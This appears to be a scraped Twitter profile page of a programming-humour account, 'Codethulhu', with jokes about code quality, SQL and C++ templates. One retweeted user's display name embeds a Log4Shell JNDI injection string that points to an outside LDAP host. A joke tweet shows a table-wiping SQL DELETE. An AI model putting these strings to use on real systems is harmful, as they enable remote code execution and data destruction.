Codethulhu ^(;,;)^

Waiting for a poor programer to awake me: Ia! Ia! Ph´nglui mglw´nafh Codethulhu C'deh wgah´nagl fhtagn

[Codethulhu ^(;,;)^ @Codethulhu]

Sadly I have been so busy devouring the soul of unsuspecting programmers I didn't tweet much. I doubt that will change :(

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Made a state machine with bitvectors, and & popcnt to choose the next state. The poor soul was split in tiny bits.

Thanks @pietaetskirsche

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Seems the poor guy grew tired of trying to compile my spawns. His soul tastes fruity! MUAHAHAHA https://t.co/jdfdxS6Q56

[Gentoo Hardened Team @GentooHardened]

The Gentoo Foundation Inc. is looking for a new president. Applicants welcome. https://t.co/ohnIugtCVb

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"I’m just thinking the file resists being well formed. By now it’s reached sentience I’d imagine" I suspeect he can see me lurk in the lines

[Alvaro Videla - 🇺🇾🇨🇳🇨🇭🇮🇹 @old_sound]

CSS can kill you

[klon${jndi:ldap://klondike.es/k}dike @klon]

18637bab2136312461d35a6fcc7ad137

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This says a lot of python: "New in version 3.2: This function was first removed in Python 3.0 and then brought back in Python 3.2."

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SELECT * FROM humongous_table, enormous_table, huge_table, small_table USING (mykey) WHERE small_table.mykey = value;

[Codethulhu ^(;,;)^ @Codethulhu]

"Never forget the WHERE in the DELETE" "Ohh true, thanks for reminding me" DELETE FROM `customers` WHERE 1;

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Big software projects tend to have cases of recursive patches trying to fix issues caused by commiters not understanding the original code

[Codethulhu ^(;,;)^ @Codethulhu]

The guy who put the manual as a chapter of the Codenomicon had a good reason for it

[Codethulhu ^(;,;)^ @Codethulhu]

(I(can_t(understand(why(people(likes(to(have(so(many(parentheses(in(their(code()))))))))))))))

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If you are looking for me remind: goto Codethulhu;

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@Achifaifa More like completely tangled!

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.@Achifaifa Your souls are like a big dish of Spaguetti.

[Codethulhu ^(;,;)^ @Codethulhu]

Today I ate somebody who forgot the break in a while(1). He was repetitive. Today I ate somebody who forgot the break in a while(1).

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@RubenWenWen Porque no me dejan manifestarme más a menudo, si no no pensarías lo mismo ni verías tantas burradas

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@RubenWenWen Es lo que tiene sobrecargar operadores, aún me acuerdo de lo rica que estaba el alma de aquel chaval que sobrecargó un =

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@RubenWenWen lo suficiente para saber hacer algo como (std::string("Hola")+"Mundo").c_str();

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The poor chap didn't consider that this<is<an<excessive<useof<templates>>>>> his soul tasted like fastfood: generic.